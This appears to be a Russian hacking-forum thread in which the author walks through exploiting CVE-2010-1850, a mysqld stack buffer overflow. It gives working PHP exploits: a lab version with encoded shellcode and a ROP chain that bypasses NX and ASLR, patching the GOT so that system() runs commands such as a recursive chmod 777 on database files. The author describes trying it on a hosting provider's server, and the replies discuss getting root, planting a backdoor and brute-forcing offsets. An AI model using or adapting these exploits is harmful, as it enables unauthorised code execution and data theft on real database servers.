Старый 27.10.2011, 13:09   #1
ont
 
Аватар для ont
 
Регистрация: 16.12.2010
Сообщений: 57
Репутация: 92
По умолчанию Эсплуатация CVE-2010-1850 (mysqld)

Link: http://www.cvedetails.com/cve/CVE-2010-1850
Версии: 5.0 - 5.0.91; 5.1.0 - 5.1.47
Тип: BoF on stack (Buffer overflow); необходима авторизация на сервере; можно считать удаленной

Как описывается в CVE, через команду COM_FIELD_LIST можно вызвать переполнение буфера.

В качестве примера в багрепортах приведен следующий код:
PHP код:
<?php
if (!$link mysql_connect("127.0.0.1""root""root""test")) {
    
printf("Cannot connect to the server");
    exit(
1);
}
if (
$res mysql_list_fields("test"str_repeat('test'16384), $link)) {
    
printf("[001] got result set, where non was expected");
}
mysql_close($link);
print 
"done!";
?>
Как видим вся суть в очень длинном имени таблицы str_repeat('test', 16384).

Теперь, что имелось у меня и общая схема моих действий.
Что имелось: "якобы" уязвимый сервер mysql у хостера SpaceWeb (об этом обломе будет рассказано дальше).

Его переменные:
Код:
@@version = '5.0.26-log'
@@basedir = '/usr/'
@@datadir = '/var/lib/mysql/'
1. Скачиваем и поднимаем сервер
Ну раз такие дела, то можно попробовать уронить сервер. Ронять решил у себя под VirtualBox.
Для этого выкачиваем следующие файлы:
Код:
/usr/sbin/mysql*
/usr/lib/libmysql*

Не мешало бы определить какой mysqld стартует по дефолту (этих самых mysqld может быть несколько).
Код:
$ which mysqld
/usr/sbin/mysqld

... также могут быть здесь:
/usr/libexec
/usr/local/libexec
Все это можно залить в один каталог на виртуальной машине. И пользоваться
переменной окружения LD_LIBRARY_PATH для указания поиска библиотек.

После заливки воспользуемся ldd и докачаем недостающие билиотеки.
Код:
[root@myhost sbin]# LD_LIBRARY_PATH=./ ldd ./mysqld
        linux-gate.so.1 =>  (0xb787b000)
        librt.so.1 => /lib/librt.so.1 (0xb7866000)
        libz.so.1 => /usr/lib/libz.so.1 (0xb784e000)
        libdl.so.2 => /lib/libdl.so.2 (0xb7849000)
        libssl.so.0.9.8 => not found
        libcrypto.so.0.9.8 => not found
        libpthread.so.0 => /lib/libpthread.so.0 (0xb782d000)
        libcrypt.so.1 => /lib/libcrypt.so.1 (0xb77fc000)
        libnsl.so.1 => /lib/libnsl.so.1 (0xb77e3000)
        libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xb76f4000)
        libm.so.6 => /lib/libm.so.6 (0xb76c9000)
        libgcc_s.so.1 => /usr/lib/libgcc_s.so.1 (0xb76ac000)
        libc.so.6 => /lib/libc.so.6 (0xb7543000)
        /lib/ld-linux.so.2 (0xb787c000)
Не хватает библиотек libssl.so.0.9.8 libcrypto.so.0.9.8. Докачиваем их.
Конфиг пришлось взять от более новой версии и править его на каждое замечание mysql.

Перед запуском самого сервера необходимо выполнить:
Код:
LD_LIBRARY_PATH=./ ./mysql_install_db
Это создаст необходимый скелет базы. Mysql требуются определенные права на
дириектори если не стартует, то можно легко выяснить через strace. Такое
окружение можно считать очень приближенным к реальному на сервере.

2. Создаем второе окружение
С помощью PoC-кода на php можно убедиться в том, что сервер в нашей виртуалке
падает. Естественно, скачанный бинарник оказался без отладочных символов,
поэтому в отладчике gdb будет что-то подобие OllyDBG (можно дизассемблировать,
наблюдать за стеком и кучей, но привязки к исходному коду не будет).

Можно сделать удобнее :) Создаем в виртуалке текущий снапшот с сервером
хостера, откатываемся к чистой системе и скачиваем с официального сайта
исходники mysql. В моем случае самой ближайшей версией оказался mysql-5.0.44.

1) конфигурим с опцией --with-debug=full
2) компилим и ставим
3) убеждаемся что он также падает

3. Пишем лабораторный эксплоит
Что будем обходить: ASLR, utf8-строки, unescape.

Считаем, что можно исполнять код на стеке/куче (лаборатория), но есть ASLR.
Преобразования строки делает сервер.

Ставим cgdb (надстройка над gdb) и запускаем наш собранный сервер.

Код:
cgdb ./mysql
(gdb) run
Запускаем PoC и наблюдаем краш в функции open_table на строчке 1269:
Код:
1247│ TABLE *open_table(THD *thd, TABLE_LIST *table_list, MEM_ROOT *mem_root,
1248│                   bool *refresh, uint flags)
1249│ {
1250│   reg1  TABLE *table;
1251│   char  key[MAX_DBKEY_LENGTH];
1252│   uint  key_length;
1253│   char  *alias= table_list->alias;
1254│   HASH_SEARCH_STATE state;
1255│   DBUG_ENTER("open_table");
1256│
1257│   /* find a unused table in the open table cache */
1258│   if (refresh)
1259│     *refresh=0;
1260│
1261│   /* an open table operation needs a lot of the stack space */
1262│   if (check_stack_overrun(thd, STACK_MIN_SIZE_FOR_OPEN, (char *)&alias))
1263│     DBUG_RETURN(0);
1264│
1265│   if (thd->killed)
1266│     DBUG_RETURN(0);
1267│   key_length= (uint) (strmov(strmov(key, table_list->db)+1,
1268│                              table_list->table_name)-key)+1;
1269├>  int4store(key + key_length, thd->server_id);
Структура стека до переполнения выглядела так:
Код:
[key][.. other local vars ..][saved EIP][.. function args ..]
После перезаписи:
Код:
[key "testtesttesttest...."][ "..testtesttesttest.." ][saved EIP "..est.." ][ "..testtesttesttest.." ]
Строка очень длинная и она перезаписывает локальные переменные, сохраненный
EIP и данные, которые были переданы в функцию при вызове. В том числе,
перезаписывается переменная thd. Она является указателем, поэтому в случае
32-битной ОС хранится на стеке как 4 байта. Эти четыре байта перетираются новыми
и получается новое значение.

Собственно переполнение происходит в строках 1267-1268, после чего код
выполняется дальше. А на строчке 1269 идет обращение к полю server_id объекта
thd, адрес которого был перезаписан. В моем случае thd было равно 0x74747365.
Поле server_id лежит недалеко, поэтому получается ошибка чтения памяти.

Итого: можно перезаписать EIP любым значением, но чтобы saved EIP "превратился"
в реальный, нужно избежать ошибок и как можно быстрее выйти из функции
open_table.

open_table:1269

Чтобы обойти эту проблему перезапишем thd указателем на секцию .text.

Секция .text в /proc/$MYSQL_PID/maps (адреса 08048000-0861d000):
Код:
08048000-0861d000 r-xp 00000000 08:03 391240     /usr/local/libexec/mysqld
0861d000-0865d000 rw-p 005d4000 08:03 391240     /usr/local/libexec/mysqld
0865d000-08bae000 rw-p 00000000 00:00 0          [heap]
...
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
Она же в выводе readelf:
Код:
[root@myhost libexec]# readelf -S mysqld 
There are 38 section headers, starting at offset 0x11018f0:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
 ...
  [12] .init             PROGBITS        0812b2a0 0e32a0 00002e 00  AX  0   0  4
  [13] .plt              PROGBITS        0812b2d0 0e32d0 000f30 04  AX  0   0  4
  [14] .text             PROGBITS        0812c200 0e4200 36ddec 00  AX  0   0 16
  [15] .fini             PROGBITS        08499fec 451fec 00001a 00  AX  0   0  4
 ...
  [23] .got              PROGBITS        0861d74c 5d474c 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0861d750 5d4750 0003d4 04  WA  0   0  4
  [25] .data             PROGBITS        0861db40 5d4b40 03e74c 00  WA  0   0 32
  [26] .bss              NOBITS          0865c2a0 61328c 00bb00 00  WA  0   0 32
  [27] .comment          PROGBITS        00000000 61328c 000027 01  MS  0   0  1
 ...
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
Писать в .text нельзя -- это исполняемый код программы, а читать можно, поэтому
попытка прочитать thd->server_id не вызовет ошибки. Тем более, это одна из
стабильных секций, адреса которых не портятся ASLR.

Выберем для thd произвольный адрес из диапазона 08048000-0861d000.

open_table:1279

Код:
1278│   */
1279│   if (!table_list->skip_temporary)
1280│   {
Следующий краш происходит внутри этого условия. Избежать его можно только
добившись false в условии. Тип переменной skip_temporary -- bool, поэтому по
адресу &(table_list->skip_temporary) должно лежать значение строго равное 0x01,
иначе skip_temporary будет считаться равным false.

Так как здесь опять чтение, а не запись, то перезапишем указатель table_list на секцию .text.

Выполним в cgdb:
Код:
(gdb) p/x &table_list->skip_temporary - (void *)table_list
$5 = 0x17a
Это значит, что поле skip_temporary лежит на расстоянии 0x17a байтов от начала table_list.

Значит необходимо найти в .text такое смещение offset, что по адресу offset + 0x17a лежит байт 0x01.

Искать будем не в памяти, а в исходном файле, так будет проще. Во время
тестирования мне также было интересно, чтобы в полях table_list->table_name и
table_list->db лежали какие-нибудь строки, поэтому в целом скрипт выглядел вот
так:

Код:
import struct

def read_str( val, s ):
    off = val - 0x08048000
    name = ''
    while s[ off ] != '\x00':
        name += s[ off ]
        off += 1
    return name

s = open( 'mysqld' ).read()
for i,x in enumerate( s[ :0x5d5000 ] ):
    if x == '\x01':
        #v = struct.unpack( 'L', s[ i-0x16e : i-0x16e+4 ] )[ 0 ]
        base = i - 0x17a 
        v1 = struct.unpack_from( 'L', s, base + 0xc  )[ 0 ]
        v2 = struct.unpack_from( 'L', s, base + 0x14 )[ 0 ]
        if 0x08048000 < v1 < 0x0861d000 and\
           0x08048000 < v2 < 0x0861d000:
            db_name = read_str( v1, s )
            tb_name = read_str( v2, s )
            print hex( i ), ':[%s,%s]' % ( hex( v1 ), hex( v2 ) ), '-', len( db_name ), '-', len( tb_name ), '=>', hex( 0x08048000 + base )

open_table:1315

Код:
1314│   */
1315│   if (!(flags & MYSQL_OPEN_IGNORE_LOCKED_TABLES) &&
1316│       (thd->locked_tables || thd->prelocked_mode))
1317│   {                                             // Using table locks
Следующая наша остановка происходит на данном замороченном условии. Мне также
не хотелось попадать внутрь этого if.

Очевидно, что достаточно сделать !(flags & MYSQL_OPEN_IGNORE_LOCKED_TABLES) == false,
тогда не придется заморачиваться с поиском нужной структуры thd, как это
было проделано для table_list.

Вспоминаем, что flags это тоже аргумент функции, а MYSQL_OPEN_IGNORE_LOCKED_TABLES
Код:
./sql/mysql_priv.h:#define MYSQL_OPEN_IGNORE_LOCKED_TABLES     0x0008
Перезапишем flags значением 0x08080808.



open_table:return


Код:
1448│   */
1449│   if (!thd->open_tables)
1450│     thd->version=refresh_version;
1451│   else if ((thd->version != refresh_version) &&
1452│            ! (flags & MYSQL_LOCK_IGNORE_FLUSH))
1453│   {
1454│     /* Someone did a refresh while thread was opening tables */
1455│     if (refresh)
1456│       *refresh=1;
1457│     VOID(pthread_mutex_unlock(&LOCK_open));
1458│     DBUG_RETURN(0);
1459│   }
Наконец доползаем до участка кода, где можно войти в код условия и
безболезненно дойти до return, который запрятан в DBUG_RETURN(0). Очевидно,
что thd->version != refresh_version, т.к. в thd во всех полях лежит мусор.
Осталось сделать ! (flags & MYSQL_LOCK_IGNORE_FLUSH) == true.

Код:
 ./sql/mysql_priv.h:#define MYSQL_LOCK_IGNORE_FLUSH        0x0002
Поэтому flags должен принять такое значение, что
Код:
flags & 0x08 == true
flags & 0x02 == false
Подойдет значение 0x4d, поэтому перезапишем flags 0x4d4d4d4d ("MMMM").

Осталась маленькая проблемка в виде аргумента функции refresh. Очень хотелось
бы перезаписать ее значением 0x00000000, но байт 0x00 обозначает конец строки,
поэтому его нельзя использовать в имени таблицы и нашем эксплоите.

Поэтому перезапишем указатель refresh указателем на область
(0861d000-0865d000). Из maps видно, что она доступна на запись. Также адреса
этого диапазона стабильны и не изменяются (в этот диапазон входят секции .bss, .data ...)


План захвата мира
Мы перезаписали EIP и после return уже будет выполнятся код по адресу
перезаписанного EIP. Также предположили, что можно выполнять код на стеке.
Идея проста -- находим в дизассемблинге mysql следующую последовательность:

Код:
jmp *esp ;;
либо 
push esp; ret ;;
И перетираем EIP адресом этого гаджета. Регистр esp указывает на стек, поэтому
мы "прыгнем" на него и будем выполнять наш код, который мы передали в имени
таблицы.

Итак, у нас есть план :) После перезаписи стек будет выглядеть так:

Код:
   [ key "AAAAAAAAA..." ][ local vars "..AAAAAAA.." ][ saved EIP "указатель_на_jmp_esp" ][ thd "адрес_в_.text" ][ table_list "адрес_в_.text" ]...
...[ mem_root "AAAA" ][ refresh "адрес_в_.bss" ][ flags "MMMM" ][ "шелл-код" ]
Заголовок функции (для наглядности):
Код:
1247│ TABLE *open_table(THD *thd, TABLE_LIST *table_list, MEM_ROOT *mem_root,
1248│                   bool *refresh, uint flags)
Но ээээ... постойте... после прыжка на гаджет "jmp_esp" регистр ESP будет указывать вот сюда:
Код:
   [ key "AAAAAAAAA..." ][ local vars "..AAAAAAA.." ][ saved EIP "указатель_на_jmp_esp" ][ thd "адрес_в_.text" ][ table_list "адрес_в_.text" ]...
ESP -------------------------------------------------------------------------------------^^^^^^^^^^^^^^^^^^^^^^^
Прыгать сюда нельзя, поэтому, вместо одного гаджета, воспользуемся двумя:
Код:
первый:
add esp, 0x20; pop ; pop ; pop ;;

второй:
jmp *esp ;;
Первый сместит указатель ESP "вправо" через все аргументы функции на адрес
второго гаджета на стеке, а затем прыгнет на него. Второй гаджет прыгнет на
шелл-код на стеке.

Как-то так должно все выглядеть:
Код:
   [ key "AAAAAAAAA..." ][ local vars "..AAAAAAA.." ][ saved EIP "первый_гаджет" ][ thd "адрес_в_.text" ][ table_list "адрес_в_.text" ]...
...[ mem_root "AAAA" ][ refresh "адрес_в_.bss" ][ flags "MMMM" ][ "xxxxyyyyzzzzaaaabbbbcccc" ][ "адрес_второго_гаджета" ][ "шелл-код" ]

Эксплоит

Специально для киддисов (вроде меня), которые сразу ломанутся запускать этот
эксплоит на сервере: 99.9999% вероятности, что он не отработает. В осадок
выпадут: сервер (c segmentation fault), админ сервера и вы, когда обнаружите
обновленную и залатанную версию сервера. Все адреса зависят от бинарника
mysql!


Трудности и утилиты:
* количество буковок "A" определялось при помощи утилиты patter_create.rb и patter_offset.rb из metasploit.
* mysqld делает преобразование строки, поэтому в ней не должно быть следующих байтов: 0x00, 0x5c ('\'), 0x80-0xff.
* чтобы убрать эти значения из шелл-кода, был использован кодер msfencode с кодировщиком x86/alpha_mixed.
* гаджет jmp *esp искался с помощью msfelfscan, еще один можно найти вручную или с помощью ROPME (далее).
* шелл-код был взят отсюда: http://www.exploit-db.com/exploits/13388

Итоговый эксплоит:
Код:
<?php
if (!$link = mysql_connect("127.0.0.1", "xxx", "xxxxxx", "test")) {
	printf("Cannot connect to the server");
	exit(1);
}

$db_list = mysql_list_dbs($link);
while ($row = mysql_fetch_object($db_list)) {
    echo $row->Database . "\n";
}

$shell = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIPjCVQHZ9PjGqQKCbPSCZERLIM1XMK0CkQMCbPfMmQyQjTOXMViKmV5RJTPCaPPK9XaNPQvXMK0NSC4NPQvXMMPCoV0V0V7OyKQG3LpPfZmOpNsLpGrXMOpOuKpCEEJCiNPEoXMMPRiRYKINPVkCXToToCCE8RHToRBQyPnNiIsPRV3ZKLrPjC6PXXMK0LsETXkIYTJAA";
$payld = "NNN". str_repeat('aa', 108)."x".
	"\xb5\x05\x13\x08".  // EIP points to [ add $esp, 20h; pop; pop; pop; ret ]
	"\x11\x11\x21\x08".  // THD *
	"\x38\x2c\x22\x08".  // TABLE_LIST *
	"abcd".              // notused
	"\x33\x33\x62\x08".  // bool *
	"MMMM".              // flags ( statisfy: flags & 0x8 && !(flags & 0x2) )
	"xxxx".              //   --> add $esp ...
	"yyyy".              //   --> add $esp ...
	"zzzz".              //   --> add $esp ...
        "aaaa".              //   --> pop
	"bbbb".              //   --> pop
	"cccc".              //   --> pop
    "\x73\x33\x4e\x08";  // [ jmp $esp ]

if ($res = mysql_list_fields("test", $payld.$shell, $link)) {
	printf("[001] got result set, where non was expected");
}
mysql_close($link);
print "done!";
?>
Ссылка на мой скомпилированный mysqld для которого писался эксплоит: http://depositfiles.com/files/fia54icgy



4. Пишем реальный боевой эксплоит
Что будем обходить: NX, ASLR, utf8-строки, unescape.

Под NX здесь понимается неисполняемый стек и куча. Мы уже не можем использовать
гаджет jmp_esp, так как при попытки выполнить код со стека сразу получим
segmentation fault.

Проверить и убедится в наличии NX на атакуемом сервере просто -- нужно
откомпилировать код с прыжком на стек у себя, залить на сервер и запустить.

Многие шелл-коды идут как раз в таком формате:
Код:
char shellcode[] = "\xblablabla..."
int main(int argc, char **argv) {
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int) shellcode;
}
Включить core-dump можно через ulimit
Код:
ulimit -c unlimited
После краша (если он произойдет), в директории запуска появится файлик core, который
можно закачать к себе и открыть в gdb:
Код:
gdb ./откомпилированный_shellcode core
Будет отлично видно значение всех регистров.


Ищем гаджеты

Прыгать на стек нельзя, прыгать в секцию .text можно. Нужно составить список
всех интересных команд, которые завершаются командой ret. Адреса этих гаджетов
можно будет разместить в нашей строке и с их помощью сделать что-то полезное
доброе и вечное :)

Можно написать свой скрипт на python, но меня он не очень устроил, поэтому я
воспользовался проектом ROPME:
http://marcoramilli.blogspot.com/2011/08/rop-ropme.html

Проект многообещающий, но не учитывающий вредную особенность mysql портить строку.

Поступаем следующим образом -- дампаем все гаджеты при помощи ROPME
(ropshell.py) в .ggt файл, а затем патчим утилиту search-gadgets.py.

Код search-gadgets.py:
Код:
from gadgets import *
import sys
import os

# search gadgets database

def good( vs ):
    bs = [ ( vs & ( 0xff << (i*8) ) ) >> (i*8) for i in xrange( 4 ) ]
    return False if filter( lambda x: x >= 0x7f or x in ( 0x00, 0x5c ), bs ) else True


if (__name__ == "__main__"):
    g = ROPGadget(debug=0)
    try:
        gadget_file = sys.argv[1]
    except:
        print "Usage: " + sys.argv[0] + " gadget_file asm_code"
        sys.exit(-1)
    g.load_asm(gadget_file)
    
    try:
        code = sys.argv[2]
    except:
        code = "*"
    for result in g.asm_search(code):
        (code, offset) = result
        if len(result) > 1 and good( offset ):
            print hex(offset), ":", code

Новый план

Из гаджетов составим программку, которая перезапишет значение в GOT таблице.

Постараюсь объяснить своими словами, что это такое.

Когда программа вызывает библиотечную функцию (strcpy, memset, sleep, ...), то
в ассемблерном коде это выглядит как вызов специального гаджета через call.

Например найдем вызов snprintf (libc.so.6) в mysql:
Код:
$ objdump -d mysqld | grep snprintf
...
 819e2c4:	e8 a7 dc f8 ff       	call   812bf70 <snprintf@plt>
 81a21d2:	e8 99 9d f8 ff       	call   812bf70 <snprintf@plt>
 81a2ab2:	e8 b9 94 f8 ff       	call   812bf70 <snprintf@plt>
...
Приставка plt обозначает, что будет вызван гаджет, а не сама функция.

Гаджет выглядит как:
Код:
jmp *ячейка_таблицы_GOT
Адрес этой ячейки можно посмотреть так:
Код:
$ readelf -r mysqld | grep snprintf
 Offset     Info    Type            Sym.Value  Sym. Name
0861da80  0000c907 R_386_JUMP_SLOT   00000000   snprintf
Гаджет будет прыгать (jmp) на адрес, который записан в ячейке 0861da80.

Это позволяет размещать библиотеки в произвольном месте (ASLR) и затем
подсказывать при помощи GOT таблицы статичному коду где лежит нужная функция.

ASLR смещает libc.so.6 произвольным образом, но как цельный монолит, поэтому
расстояние между функциями, например, snprintf и system остается постоянным.
Адрес ячейки для snprintf также заранее известен и постоянен. Это позволяет
"подкрутить" значение в ячейке на нужное смещение и получить адрес уже совсем
другой функции.

Новый план: к значению по адресу 0861da80 добавить/отнять некоторое число, а
затем вызвать snprintf.
Код:
*(0x0861da80) += offset
call snprintf@plt
В моем случае нужно вычесть 0xf080:
Код:
$ readelf -s /lib/libc.so.6 | grep snprintf
 ...
  2292: 00049f50    56 FUNC    WEAK   DEFAULT   12 snprintf@@GLIBC_2.0
 ...

$ readelf -s /lib/libc.so.6 | grep system  
 ...
  1415: 0003aed0   139 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
 ...

0xf080 = 0x49f50 - 0x3aed0
Структура нашей строки для переполнения:
Код:
[ "AAAAAA ..."][ ..правильно перетертые переменные и EIP.. ][гаджет_1][гаджет_2][гаджет_3]...[гаджет_N]...
...[ snprintf@plt "0x812bf70" ][гаджет_N+1][0x55555555][гаджет_N+2][гаджет_N+3]...["chmod -R 777 /var/lib/mysql"]
Гаджеты с 1 по N должны увеличить/уменьшить значение в ячейке GOT и перезаписать
0x55555555. Вместо 0x55555555 должен быть адрес строки. Так как snprintf это
не snprintf, а боевой system, то он принимает один аргумент -- адрес строки с
системной командой. Это строку мы размещаем в самом конце, чтобы она
автоматически дополнилась 0x00. На момент написания из-за ASLR этот адрес
неизвестен, но его относительно легко можно получить. Адрес строки идет после
адреса возврата, куда прыгнет snprintf после своей работы.

Эксплоит:
Еще одно предупреждение: это также в 99.9999% случаев
нерабочий эксплоит, который не стоит пробовать на рабочем сервере.
Все адреса зависят от бинарника mysql и адресов библиотеки libc.so.6!

Чтобы не завалить сервер после подкрутки до system у меня просиходит повторная
подкрутка до sleep, чтобы отработавший поток просто уснул без краша.

Код:
<?php
if (!$link = mysql_connect("127.0.0.1", "xxx", "xxxxxx", "test")) {
	printf("Cannot connect to the server");
	exit(1);
}

$db_list = mysql_list_dbs($link);
while ($row = mysql_fetch_object($db_list)) {
    echo $row->Database . "\n";
}

$first  = "\x42\x79\x01\x01";
$second = "\x42\x79\x01\x01";
//distance to f_sleep is : 0xfffa0950L
$triple_1 = "\x34\x34\x34\x34";
$triple_2 = "\x02\x7a\x78\x78";
$triple_3 = "\x1b\x5b\x4d\x53";

$payld = str_repeat( 'A', 161 ).
	"\x70\x09\x11\x08".  // EIP --> add esp, 0x10; pop ; pop ; pop ;;
	"\x34\x46\x56\x08".  // THD *
	"\x34\x46\x56\x08".  // TABLE_LIST *
	"aaaa".              // not used
	"\x11\x11\x66\x08".  // bool *
	"MMMM".              // flags (statisfy: flags & 0x8 && !(flags & 0x2) )
 	"1111".              // --> pop ( EIP gadget )
	"2222".              // --> pop ( EIP gadget )
    "\x3a\x60\x22\x08".  // pop eax; dec eax; pop ebp ;;
    $first.              // --> eax                       eax <-- value1 + 0x01010101 + 0x01
    "\x77\x77\x77\x77".  // --> ...
    "\x14\x03\x5f\x08".  // pop ecx; nop ;;
    "\x01\x01\x01\x01".  // --> ecx                       ecx <-- 0x01010101
    "\x03\x09\x2d\x08".  // sub eax ecx ;;                eax = eax - 0x01010101 = value1
    "\x50\x59\x33\x08".  // mov edx eax; mov eax edx ;;   edx <-- eax

    "\x3a\x60\x22\x08".  // pop eax; dec eax; pop ebp ;;
    $second.             // --> eax                       eax <-- value2 + 0x01010101 + 0x01
    "\x77\x77\x77\x77".  // --> ...
    "\x14\x03\x5f\x08".  // pop ecx; nop ;;
    "\x01\x01\x01\x01".  // --> ecx                       ecx <-- 0x01010101               
    "\x03\x09\x2d\x08".  // sub eax ecx ;;                eax = eax - 0x01010101 = value2   
    "\x41\x24\x18\x08".  // add eax edx ;;                eax = value1 + value2

    "\x14\x03\x5f\x08".  // pop ecx ; nop ;;
    "\x0b\x7c\x03\x01".  // --> ecx                       ecx <-- part1
    "\x79\x35\x5a\x08".  // pop ebx ;;
    "\x05\x58\x62\x07".  // --> ebx                       ebx <-- part2

    "\x17\x1c\x07\x08".  // sub [ebx+ecx] eax ; and al 0x89 ;;   snprintf --> system ( [part1+part2] -= value1 + value2 )
    "\x36\x13\x07\x08".  // push esp ; pop edx ;;                         edx = esp;  edx + xxx = &(0x55555555)
    "\x3a\x60\x22\x08".  // pop eax; dec eax; pop ebp ;;                  edx+0     <<< edx points here
    "\x4a\x01\x01\x01".  // --> eax                                       edx+4     0x0101014a - 1 - 0x01010101 = 0x48 = 72
    "\x77\x77\x77\x77".  // --> ...                                       edx+8
    "\x14\x03\x5f\x08".  // pop ecx; nop ;;                               edx+12
    "\x01\x01\x01\x01".  // --> ecx                                       edx+16
    "\x03\x09\x2d\x08".  // sub eax ecx ;;                                edx+20
    "\x41\x24\x18\x08".  // add eax edx ;;                                edx+24    eax = &(0x55555555)
    "\x6b\x31\x5b\x08".  // xchg ecx eax ;;                               edx+28    eax --> ecx
    "\x34\x09\x47\x08".  // mov eax ecx ; pop edi ; pop ebp ;;            edx+32    eax == ecx == &(0x55555555)  [we SAVE eax in ecx]
    "\x77\x77\x77\x77".  // --> ...                                       edx+36
    "\x77\x77\x77\x77".  // --> ...                                       edx+40
    "\x20\x06\x27\x08".  // add eax 0x64 ;;                               edx+44    [eax] == "chmod -R ... "
    "\x50\x59\x33\x08".  // mov edx eax ; mov eax edx ;;                  edx+48    edx == eax == &(0x55555555) + yyy == "chmod -R ... "
    "\x6b\x31\x5b\x08".  // xchg ecx eax ;;                               edx+52    [ restore SAVED eax from ecx ]
    "\x16\x3d\x4e\x08".  // mov [eax] edx ; mov eax 0x1 ; pop ebp ;;      edx+56    correct 0x55555555 value with  &(0x55555555) + yyy
    "\x77\x77\x77\x77".  // --> ...                                       edx+60
    "\x50\x02\x11\x08".  // <snprintf@plt>                                edx+64
    "\x71\x2f\x18\x08".  // add esp 0x4 ; pop ebx ; pop ebp ;;            edx+68
    "\x55\x55\x55\x55".  //                                               edx+72    (*)   &(0x55555555) + 0x64 (100 in decimal) = "chmod -R 777 /home/var/mysql"
    "\x77\x77\x77\x77".  // --> ... ( pop ebx -- from 0x08182f71 gadget ) edx+76
    "\x77\x77\x77\x77".  // --> ... ( pop ebp -- from 0x08182f71 gadget ) edx+80
    "\x20\x39\x0a\x08".  // inc ebp ;;                                    edx+84    // ROP nop
    "\x20\x39\x0a\x08".  // inc ebp ;;                                    edx+88    // ROP nop
    "\x20\x39\x0a\x08".  // inc ebp ;;                                    edx+92    // ROP nop
    "\x20\x39\x0a\x08".  // inc ebp ;;                                    edx+96    // ROP nop
    "\x20\x39\x0a\x08".  // inc ebp ;;                                    edx+100   // ROP nop
    "\x37\x13\x07\x08".  // pop edx ;;                                    edx+104   
    $triple_1.           // --> edx                                       edx+108   edx <-- triple1
    "\x3a\x60\x22\x08".  // pop eax; dec eax; pop ebp ;;                  edx+112   
    $triple_2.           // --> eax                                       edx+116   eax <-- triple2
    "\x77\x77\x77\x77".  // --> ...                                       edx+120   
    "\x41\x24\x18\x08".  // add eax edx ;;                                edx+124   eax += edx
    "\x37\x13\x07\x08".  // pop edx ;;                                    edx+128   
    $triple_3.           // --> edx                                       edx+132   edx <-- triple3
    "\x41\x24\x18\x08".  // add eax edx ;;                                edx+136   eax += edx == triple1 + triple2 + triple3 == value
    "\x14\x03\x5f\x08".  // pop ecx ; nop ;;                              edx+140   load 1_part of addr in GOT table
    "\x0b\x7c\x03\x01".  // --> ecx                                       edx+144         
    "\x79\x35\x5a\x08".  // pop ebx ;;                                    edx+148   load 2_part of addr in GOT table
    "\x05\x58\x62\x07".  // --> ebx                                       edx+152  
    "\x17\x1c\x07\x08".  // sub [ebx+ecx] eax ; and al 0x89 ;;            edx+156   system --> sleep
    "\x50\x02\x11\x08".  // <snprintf@plt>                                edx+160   call sleep( 0x56565656 )
    "\x33\x33\x33\x33".  // o.O                                           edx+164   
    "\x56\x56\x56\x56".  //                                               edx+168   
    "                    touch /tmp/SleeP.txt"; //                        edx+172   
    //"chmod -R 777 /home/var/mysql";

if ($res = mysql_list_fields("test", $payld, $link)) {
	printf("[001] got result set, where non was expected");
}
mysql_close($link);
print "done!";
?>

Все эти выкрутасы с суммами, вычитаниями и парами/тройками чисел нужны чтобы
избежать нехороших значений в строке.
Код:
0x80220000 -- нельзя

0x41120101 -- можно
0x01010101 -- можно

0x80220000 == 0x41120101 - 0x01010101 + 0x41120101 - 0x01010101
Скачанное с сервера окружение уязвимого mysql: http://depositfiles.com/files/f34w054p0

Спасибо за внимание, если что-то непонятно, то распишу подробнее.

Ах да... Админ SpaceWeb меня жестоко обманул и запускает патченный бинарник, а
этот, который я ломал, видимо остался от старой установки... На его сервере
функция mysql_list_fields возвращает false для такого эксплоита :(
ont вне форума   Ответить с цитированием
Старый 27.10.2011, 15:36   #2
trashmail
 
Регистрация: 08.09.2011
Сообщений: 37
Репутация: -2
По умолчанию

Извиняюсь м.б. за тупой вопрос. Проэксплатировав эту уязвимость я полу рута?
trashmail вне форума   Ответить с цитированием
Старый 27.10.2011, 16:33   #3
ont
 
Аватар для ont
 
Регистрация: 16.12.2010
Сообщений: 57
Репутация: 92
По умолчанию

Цитата:
Сообщение от trashmail Посмотреть сообщение
Извиняюсь м.б. за тупой вопрос. Проэксплатировав эту уязвимость я полу рута?
Только если mysqld запущен от root.

Возможные сценарии эксплуатации:
1) Есть доступ на сервер, но нет доступа к базам, тогда chmod -R 777 /var/lib/mysql теоретически должно дать доступ на чтение ко всем базам.
2) Нет доступа на сервер, но есть доступ к mysql (логин и пароль и открыт порт на сервере). Тогда через несколько спайпленных команд можно запустить на сервере бэкдор и получить локальный доступ.
ont вне форума   Ответить с цитированием
Старый 27.10.2011, 18:03   #4
lefty
 
Аватар для lefty
 
Регистрация: 01.09.2011
Сообщений: 50
Репутация: 13
По умолчанию

Цитата:
Еще одно предупреждение: это также в 99.9999% случаев
нерабочий эксплоит, который не стоит пробовать на рабочем сервере.
Все адреса зависят от бинарника mysql и адресов библиотеки libc.so.6!
может снабдить код бруталкой оффсетов адресов ?

Цитата:
2) Нет доступа на сервер, но есть доступ к mysql (логин и пароль и открыт порт на сервере). Тогда через несколько спайпленных команд можно запустить на сервере бэкдор и получить локальный доступ.
в этом плане кстати UDF функционал субд часто может помочь (в случае если есть file_priv), у того же Bernardo Damele в его блоге на этот счет много постов
lefty вне форума   Ответить с цитированием
Старый 27.10.2011, 19:30   #5
ont
 
Аватар для ont
 
Регистрация: 16.12.2010
Сообщений: 57
Репутация: 92
По умолчанию

Цитата:
Сообщение от lefty Посмотреть сообщение
может снабдить код бруталкой оффсетов адресов ?
Ну автоматизировать поиск адресов для thd, table_list и refresh можно. А вот с гаджетами труднее )
У каждого билда бинарника, свой набор гаджетов.

В ROPME они ищутся вручную, после чего пишется полуавтоматический скрипт, который генерит ROP-последовательность.

Цитата:
Сообщение от lefty Посмотреть сообщение
в этом плане кстати UDF функционал субд часто может помочь (в случае если есть file_priv), у того же Bernardo Damele в его блоге на этот счет много постов
